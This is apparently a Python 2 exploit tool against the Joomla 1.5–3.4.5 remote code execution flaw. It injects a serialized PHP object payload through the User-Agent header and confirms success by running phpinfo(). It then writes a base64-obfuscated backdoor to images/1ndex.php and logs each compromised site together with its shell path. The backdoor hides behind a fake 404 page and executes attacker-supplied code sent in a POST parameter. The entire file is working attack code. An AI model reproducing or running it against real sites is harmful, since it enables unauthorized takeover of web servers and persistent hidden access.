# -*- coding:utf-8 -*-

import re
import os.path
import logging
import sys

import requests

reload(sys)
sys.setdefaultencoding("utf-8")


class Joomla_rce(object):
    def __init__(self):
        print("[*] Checking Joomla 1.5 - 3.4.5 Remote Code Execution...")

    def check(self, url):
        if not url.endswith('/'):
            url += '/'
        poc = self.generate_payload("phpinfo();")
        try:
            result = self.exploit(url, poc)
            if 'phpinfo()' in result:
                system_info = self.getInfoByJoomlaRCE(result, 'System')
                document_root = self.getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')
                script_filename = self.getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')
                shell_file = self.getShellByJoomlaRCE(url, system_info, script_filename)
                vulns_msg = '[+] vuls found! url: '+url+', System: '+system_info
                vulns_msg += ', document_root: '+document_root+', script_filename: '+script_filename
                vulns_msg += ', shell_file: ' + shell_file
                self.savefile(vulns_msg, 'joomla_rce.txt')
            else:
                info_msg = '[!] no vuls! url: ' + url
                logging.info(info_msg)
        except Exception as e:
            err_msg = '[-] cehck {0} failed, error: {1}'.format(url, e)
            logging.error(err_msg)

    def report(self):
        output = os.path.dirname(os.path.realpath(__file__))+"/joomla_rce.txt"
        if os.path.exists(output):
            print "[+] Scanned Vuls:"
            print "[*] Output File: " + output

    def getInfoByJoomlaRCE(self, result, param):
        if "System" in param:
            reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
        elif "DOCUMENT_ROOT" in param:
            reg = '.*<tr><td class="e">_SERVER\["DOCUMENT_ROOT"\]</td><td class="v">([^<>]*?)</td></tr>.*'
        elif "SCRIPT_FILENAME" in param:
            reg = '.*<tr><td class="e">_SERVER\["SCRIPT_FILENAME"\]</td><td class="v">([^<>]*?)</td></tr>.*'
        match_url = re.search(reg,result)
        if match_url:
           info = match_url.group(1)
        else:
            info = 'no info!'
        return info

    def getShellByJoomlaRCE(self, url, system, script_filename):
        if all(['no info' not in msg for msg in (script_filename, system)]):
            if 'Windows' in system:
                shell = script_filename.split('index.php')[0].replace('/','//').strip()+"images//1ndex.php"
            else:
                shell = script_filename.split('index.php')[0]+"images/1ndex.php"

            # backdoor = '<?php if(!$_POST[\'handle\']){header(\'HTTP/1.1 404 Not Found\'); exit(); }else{ $s="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $s("~[discuz]~e",$_POST[\'handle\'],"Access"); } ?>'
            cmd ="file_put_contents('{}', base64_decode('PD9waHAgaWYoISRfUE9TVFsnaGFuZGxlJ10pe2hlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOyBleGl0KCk7IH1lbHNleyAkcz0icCIuInIiLiJlIi4iZyIuIl8iLiJyIi4iZSIuInAiLiJsIi4iYSIuImMiLiJlIjsgJHMoIn5bZGlzY3V6XX5lIiwkX1BPU1RbJ2hhbmRsZSddLCJBY2Nlc3MiKTsgfSA/Pg=='));".format(shell)
            pl = self.generate_payload(cmd)
            try:
                self.exploit(url, pl)
                return url + "images/1ndex.php"
            except:
                return "no info!"
        else:
            return "no info!"

    def exploit(self, url, user_agent):
        headers = {
            'User-Agent': user_agent
        }
        session = requests.session()
        for _ in range(3):
            response = session.get(url, timeout=10, headers=headers)
        return response.content

    def generate_payload(self, php_payload):
        php_payload = "eval({0})".format(self.php_str_noquotes(php_payload))

        terminate = '\xf0\xfd\xfd\xfd';
        exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
        injected_payload = '{};JFactory::getConfig();exit'.format(php_payload)
        exploit_template += r's:{0}:"{1}"'.format(str(len(injected_payload)), injected_payload)
        exploit_template += r';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}' + terminate

        return exploit_template

    def php_str_noquotes(self, data):
        """Convert string to chr(xx).chr(xx) for use in php
        """
        encoded = ""
        for char in data:
            encoded += "chr({0}).".format(ord(char))
        return encoded[:-1]

    def savefile(self, vulns, filename):
        with open(filename, 'a') as f:
            f.write(vulns + '\n')
